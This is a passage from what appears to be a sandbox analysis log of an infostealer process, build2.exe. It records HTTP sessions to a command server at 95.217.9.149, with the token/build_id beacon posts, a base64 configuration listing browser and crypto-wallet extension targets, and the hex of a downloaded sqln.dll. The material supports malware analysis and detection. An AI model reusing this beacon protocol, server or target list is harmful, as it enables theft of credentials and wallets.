62 31 66 64 66 62 65 63 65 34 65 62 65 64 Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#8ee6ebe2fecebce7fea0e3ebb1fdfbece4ebed
2024-04-24 07:17:09 UTC	365	IN	Data Raw: d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 35 33 33 62 33 36 33 66 32 33 31 33 36 31 33 61 32 33 37 64 32 36 33 32 36 63 32 30 32 36 33 31 33 39 33 36 33 30 32 37 36 65 36 31 33 61 32 33 37 64 32 36 33 32 22 3e Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#533b363f2313613a237d26326c202631393630276e613a237d2632">
2024-04-24 07:17:09 UTC	114	IN	Data Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
2024-04-24 07:17:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49711	95.217.9.149	443	5644	C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 07:17:09 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAKEBAECGCBAAAAAEBA User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 07:17:09 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 61 61 30 38 35 34 61 64 62 34 35 65 61 66 31 30 62 37 30 36 30 62 31 34 61 38 33 33 35 37 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 Data Ascii: ------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="token"6aa0854adb45eaf10b7060b14a83357e------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------EBAKEBAECGCBAAAAAEBACont
2024-04-24 07:17:10 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 07:17:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 07:17:10 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49716	95.217.9.149	443	5644	C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 07:17:11 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAE User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 07:17:11 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 61 61 30 38 35 34 61 64 62 34 35 65 61 66 31 30 62 37 30 36 30 62 31 34 61 38 33 33 35 37 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 Data Ascii: ------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="token"6aa0854adb45eaf10b7060b14a83357e------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------JECAFHJEGCFCBFIEGCAECont
2024-04-24 07:17:12 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 07:17:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 07:17:12 UTC	5165	IN	Data Raw: 31 34 32 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1420TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49720	95.217.9.149	443	5644	C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 07:17:13 UTC	262	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCAFIIDHIDGHIECGDGI User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 5541 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 07:17:13 UTC	5541	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 61 61 30 38 35 34 61 64 62 34 35 65 61 66 31 30 62 37 30 36 30 62 31 34 61 38 33 33 35 37 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 43 47 44 47 49 0d 0a 43 6f 6e 74 Data Ascii: ------KFCAFIIDHIDGHIECGDGIContent-Disposition: form-data; name="token"6aa0854adb45eaf10b7060b14a83357e------KFCAFIIDHIDGHIECGDGIContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------KFCAFIIDHIDGHIECGDGICont
2024-04-24 07:17:14 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 07:17:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 07:17:14 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49721	95.217.9.149	443	5644	C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 07:17:15 UTC	177	OUT	GET /sqln.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 07:17:16 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 07:17:15 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Sun, 14 Apr 2024 18:52:51 GMT Connection: close ETag: "661c2603-258600" Accept-Ranges: bytes
2024-04-24 07:17:16 UTC	16136	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-04-24 07:17:16 UTC	16384	IN	Data Raw: cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: X~e!*FW\|>\|L1146
2024-04-24 07:17:16 UTC	16384	IN	Data Raw: 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 8b f8 e8 51 39 10 00 83 c4 20 80 7e 57 00 5b Data Ascii: tP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSVQ9 ~W[
2024-04-24 07:17:16 UTC	16384	IN	Data Raw: be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 74 24 28 89 4c 24 58 e9 f4 00 00 00 8b 46 08 Data Ascii: 0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5t$(L$XF
2024-04-24 07:17:16 UTC	16384	IN	Data Raw: 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f 0a 8b 44 24 14 39 44 24 38 76 12 8b 07 51 ff Data Ascii: $;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|D$9D$8vQ
2024-04-24 07:17:16 UTC	16384	IN	Data Raw: 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: 3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-04-24 07:17:16 UTC	16384	IN	Data Raw: ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: T$L$$l$ GT$GL$L$T$_^][_^]3[
2024-04-24 07:17:16 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 Data Ascii: Vt$W\|$FVBhtw7t7Vg_^jjjh,g!t$jjjh
2024-04-24 07:17:16 UTC	16384	IN	Data Raw: 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 e2 8b 4c 24 10 4a d3 e2 09 96 c4 00 00 00 5f Data Ascii: qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$L$J_
2024-04-24 07:17:17 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 56 ff 15 3c 20 24 10 a1 38 82 24 10 83 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$$V< $8$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49722	95.217.9.149	443	5644	C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 07:17:19 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAA User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 07:17:19 UTC	829	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 61 61 30 38 35 34 61 64 62 34 35 65 61 66 31 30 62 37 30 36 30 62 31 34 61 38 33 33 35 37 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 Data Ascii: ------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="token"6aa0854adb45eaf10b7060b14a83357e------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------AAFIJKKEHJDHJKFIECAACont
2024-04-24 07:17:20 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 07:17:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 07:17:20 UTC	15	IN	Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

